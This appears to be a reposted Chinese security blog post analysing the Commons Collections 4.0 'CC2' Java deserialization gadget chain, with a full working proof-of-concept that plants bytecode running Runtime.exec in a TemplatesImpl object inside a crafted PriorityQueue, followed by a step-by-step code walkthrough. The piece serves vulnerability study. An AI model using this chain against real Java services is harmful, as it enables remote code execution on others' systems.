Java安全 CC链2分析

Java安全 CC链2分析

  • cc链2介绍
  • 前置知识
    • 环境配置
    • 类加载机制
  • 触发流程
  • cc链2POC
  • cc链2分析

cc链2介绍

CC2链适用于Apache common collection 4.0版本,由于该版本对AnnotationInvocationHandler类readObject方法进行了修复,导致cc链1无法使用,故产生了cc链2,cc链2与cc链3相似,都使用了字节码的加载,并且后续的触发链也基本相同

前置知识

环境配置

有关环境配置请看

Java安全 CC链1分析

不同的是由于我们需要使用的版本为cc4,故需要设置pom.xml文件依赖内容如下

    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.19.0-GA</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>

类加载机制

可以看这篇文章

Java安全 CC链3分析

触发流程

ysoserial中给出的链

ObjectInputStream.readObject()
			PriorityQueue.readObject()
				PriorityQueue.heapify();
					PriorityQueue.siftDown();
   						siftUpUsingComparator();
							TransformingComparator.compare()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

cc链2POC

package org.example;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class cc2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列

        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//设置queue的comparator字段值为comparator

        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

cc链2分析

先看下PriorityQueue类中的readObject方法,代码如下

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        s.readInt();
        queue = new Object[size];
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        heapify();
    }

这里我们发现,会先调用defaultReadObject()方法将序列化文件反序列化,然后调用readInt()方法获取优先队列的长度

然后执行 queue[i] = s.readObject(),将优先队列的值赋值给queue[i]数组,queue[i]数组值是在调用writeObject方法序列化时定义的,

queue属性为私有的,我们可以通过反射将其赋值为携带有恶意字节码的TemplatesImpl对象,具体利用下面有讲

1710518725434.png

在对queue[i]循环赋值完成后会调用heapify()方法,我们跟进查看其代码

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

我们看到代码 int i = (size >>> 1) - 1;,此代码会将优先队列的长度右移1位(缩小两倍),然后减1,如果我们想让循环正常进行的话,优先队列的长度至少为2

然后我们看到循环中的 siftDown方法,代码如下

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

这里E x则为刚才传入的queue[i],我们跟进到siftDownUsingComparator方法,代码如下

    private void siftUpUsingComparator(int k, E x) {
        while (k > 0) {
            int parent = (k - 1) >>> 1;
            Object e = queue[parent];
            if (comparator.compare(x, (E) e) >= 0) //由此进入
                break;
            queue[k] = e;
            k = parent;
        }
        queue[k] = x;
    }

这里会对queue[i]执行comparator.compare方法,我们看到comparator属性的定义如下

    private final Comparator<? super E> comparator;

我们发现comparator属性为私有的,在poc当中通过反射把该属性的值设为了TransformingComparator对象,代码如下

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象

我们跟进到该对象的compare方法,代码如下

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

这里调用了InvokerTransformer对象**(transformer属性)**的transform方法,我们跟进查看代码

    public O transform(final Object input) {
        if (input == null) {
            return null;
        }
        try {
            final Class<?> cls = input.getClass();
            final Method method = cls.getMethod(iMethodName, iParamTypes);
            return (O) method.invoke(input, iArgs);
        } catch (final NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                       input.getClass() + "' does not exist");
        } catch (final IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                       input.getClass() + "' cannot be accessed");
        } catch (final InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                       input.getClass() + "' threw an exception", ex);
        }
    }

这里的input属性仍为之前的queue[i]iMethodName属性的值为我们创建对象时,通过构造方法穿进去的"newTransformer"

method.invoke(input, iArgs);这句代码会调用queue[i]newTransformer方法

poc中的queue[0]被赋值为TemplatesImpl对象,定义如下

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});

//templatesImpl即为携带恶意静态代码的对象

下面流程基本和cc3相同了

我们跟进到TemplatesImpl对象newTransformer方法,代码如下

    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory); //关键语句

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

我们代码中标注的关键语句调用了getTransletInstance()方法,我们查看其代码如下

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
            if (_class == null) defineTransletClasses();
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
……………………
        }

可以看到假如满足if (_name != null)if (_class == null)的话会调用defineTransletClasses()方法,代码如下

private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
…………
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass(); //注意
                
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
…………
    }

这里会加载携带恶意静态代码的字节流类_bytecodes复制给数组_class[i],然后回到getTransletInstance()方法

执行AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();这里会将刚才携带恶意代码的类进行初始化执行静态恶意代码,到此攻击完成

需要注意的是我们构造的这个字节流序列化对象要为AbstractTranslet类的子类

成功弹出计算器
1710518758561.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/462909.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

macbook删除软件只需几次点击即可彻底完成?macbook删除软件没有叉 苹果笔记本MacBook电脑怎么卸载软件? cleanmymac x怎么卸载

在MacBook的使用过程中&#xff0c;软件安装和卸载是我们经常需要进行的操作。然而&#xff0c;不少用户在尝试删除不再需要的软件时&#xff0c;常常发现这个过程既复杂又耗时。尽管MacOS提供了一些基本的macbook删除软件方法&#xff0c;但很多时候这些方法并不能彻底卸载软件…

MacBook 使用——彻底卸载并删除软件:NTFS for Mac

问题 之前因MacBook读写NTFS格式移动硬盘&#xff0c;我安装并使用了 Paragon NTFS for Mac &#xff0c;试用期结束后将其从【应用程序】中卸载移除了。但之后每次开机启动时&#xff0c;系统还是会弹出【激活】通知&#xff0c;如下图 解决 Step1、在用户目录下的 Library 目…

“一键秒变!PNG到JPG,图片批量转换新体验“

在这个数字时代&#xff0c;图片已成为我们生活与工作中不可或缺的一部分。无论是社交媒体上的个人分享&#xff0c;还是商务场合中的项目展示&#xff0c;一张好的图片往往能起到事半功倍的效果。然而&#xff0c;面对堆积如山的PNG图片&#xff0c;你是否曾感到力不从心&…

深度学习-2.7 机器学习目标与模型评估方法

文章目录 深度学习目标与模型评估方法1. 深度学习目标与模型评估方法2. 手动实现训练集和测试集切分3. Dataset和DataLoader基本使用方法与数据集切分函数1.Dataset和DataLoader的基本使用方法2.建模及评估过程 4. 实用函数补充 深度学习目标与模型评估方法 1. 深度学习目标与…

贪心算法(两个实例)

例一&#xff1a;调度问题 问题&#xff1a;由n项任务&#xff0c;每项任务的加工时间已知&#xff0c;从零时刻开始陆续加入一台机器上去加工&#xff0c;每个任务完成的时间是从0时刻到任务加工截至的时间。 求总完成时间&#xff08;所有任务完成时间最短计划方案&#xf…

Transformer学习笔记(二)

一、文本嵌入层Embedding 1、作用&#xff1a; 无论是源文本嵌入还是目标文本嵌入&#xff0c;都是为了将文本中词汇的数字表示转变为向量表示&#xff0c;希望在这样的高维空间捕捉词汇间的关系。 二、位置编码器Positional Encoding 1、作用&#xff1a; 因为在Transformer…

AcWing 2. 01背包问题

题目描述 解题思路&#xff1a; 相关代码&#xff1a; import java.util.Scanner; public class Main {public static void main(String[] args){Scanner scanner new Scanner(System.in);/** 背包问题的物品下标最好从1开始。* *//*定义一f[i][j]数组&#xff0c;i表示的…

复习 --- windows 上安装 git,使用相关命令

文章目录 很少使用windows的git工具&#xff0c;这次借助这个任务&#xff0c;记录下使用过程&#xff0c;其他的等有空在整理。 其中&#xff0c;还使用了浏览器的AI小助手&#xff0c;复习了git相关的命令&#xff1a;图片放最后

Linux学习方法-框架学习法——Linux系统框架

配套视频学习链接&#xff1a;https://www.bilibili.com/video/BV1HE411w7by?p2&vd_sourced488bc722b90657aaa06a1e8647eddfc 目录 Linux系统框架(从裸机到OS) Linux可看成是一个大软件/大程序 应用和驱动 内核态和用户态 Linux的文件系统 Linux初学者首先要搞清楚三…

如何通过小程序上的产品力和品牌力提升用户的复购能力?

随着网络购物小程序的发展以及内容电商、社交电商、垂直电商、品牌自营等多个细分类型的出现&#xff0c;小程序成为用户日常购物、大促囤货以及首发抢购的重要场景&#xff0c;市场竞争也逐渐激烈。如何在用户侧获得更多转化、留存与复购&#xff0c;成为企业品牌日益关注的话…

javaweb员工健康管理监护系统

项目演示视频 &#xff08;链接&#xff1a;https://pan.baidu.com/s/1WliYEUH4c0HVB7s0-1WDUA 提取码&#xff1a;1234 --来自百度网盘超级会员V5的分享&#xff09; 该项目所用到技术 java ssh框架 3&#xff1a;该项目的用到的开发工具&#xff1f; eclipse和idea都可以、m…

将 OpenCV 与 Eclipse 结合使用(插件 CDT)

返回&#xff1a;OpenCV系列文章目录&#xff08;持续更新中......&#xff09; 上一篇&#xff1a;将OpenCV与gcc和CMake结合使用 下一篇&#xff1a;OpenCV4.9.0在windows系统下的安装 警告&#xff1a; 本教程可以包含过时的信息。 先决条件 两种方式&#xff0c;一种…

软考78-上午题-【面向对象技术3-设计模式】-结构型设计模式01

一、适配器模式 1-1、意图 个类的接口转换成客户希望的另外一个接口。 Adapter 模式使得原本由于接口不兼容而不能一起工作的那些类可以一起工作。 1-2、结构 适配器模式分为&#xff1a; 1、适配器类模式&#xff1b; 2、适配器对象模式 类适配器使用多重继承对一个接口与另…

软考80-上午题-【面向对象技术3-设计模式】-结构型设计模式03

一、外观模式 1-1、意图 为子系统中的一组接口提供一个一致的界面。 Facade 模式定义了一个高层接口&#xff0c;这个接口使得这一子系统更加容易使用。 1-2、结构 Facade 知道哪些子系统类负责处理请求&#xff1a;将客户的请求代理给适当的子系统对象。Subsvstem classes …

CI/CD实战-git工具使用 1

版本控制系统 本地版本控制系统 集中化的版本控制系统 分布式版本控制系统 git官网文档&#xff1a;https://git-scm.com/book/zh/v2 Git 有三种状态&#xff1a;已提交&#xff08;committed&#xff09;、已修改&#xff08;modified&#xff09; 和 已暂存&#xff08;sta…

194 基于matlab的日历GUI制作

基于matlab的日历GUI制作&#xff0c;可实时显示当前的日期和时间&#xff0c;精确到秒。非常漂亮&#xff0c;也很基础&#xff0c;学习GUI的不错程序&#xff0c;程序已调通&#xff0c;可直接运行。 194 matlab 日历制作 GUI可视化 - 小红书 (xiaohongshu.com)

Spark-Scala语言实战(1)

在之前的文章中&#xff0c;我们学习了如何在Linux安装Spark以及Scala&#xff0c;想了解的朋友可以查看这篇文章。同时&#xff0c;希望我的文章能帮助到你&#xff0c;如果觉得我的文章写的不错&#xff0c;请留下你宝贵的点赞&#xff0c;谢谢。 Spark及Scala的安装https:/…

CSS3技巧38:3D 翻转数字效果

博主其它CSS3 3D的文章&#xff1a; CSS3干货4&#xff1a;CSS中3D运用_css 3d-CSDN博客 CSS3干货5&#xff1a;CSS中3D运用-2_中3d-2-CSDN博客 CSS3干货6&#xff1a;CSS中3D运用-3_css3d 使用-CSDN博客 最近工作上烦心的事情太多&#xff0c;只有周末才能让我冷静一下 cod…

uniapp 写安卓app,运行到手机端 调试

手机 设置》关于手机》点击版本号 4-5次&#xff0c;弹出手机锁屏页面&#xff0c;输入手机锁屏密码 2.手机 设置中 》搜索 开发人员选项 》 调试》打开USB调试 同页面 找到 选择USB配置》选择 MIDIhbuilder 编辑器 点击 》运行》运行到手机或模拟器》运行到Android App基座 》…

【日常记录】【JS】input标签输入中文导致value值的不正确

文章目录 1、描述2、解决方案3、参考 1、描述 在 input标签中&#xff0c;输入中文时&#xff0c;如若监听 input 事件&#xff0c;会得到意想不到的结果&#xff0c;如下面的图所示 2、解决方案 可以用到 compositionstart 监听输入中文开始的事件&#xff0c;compositionend …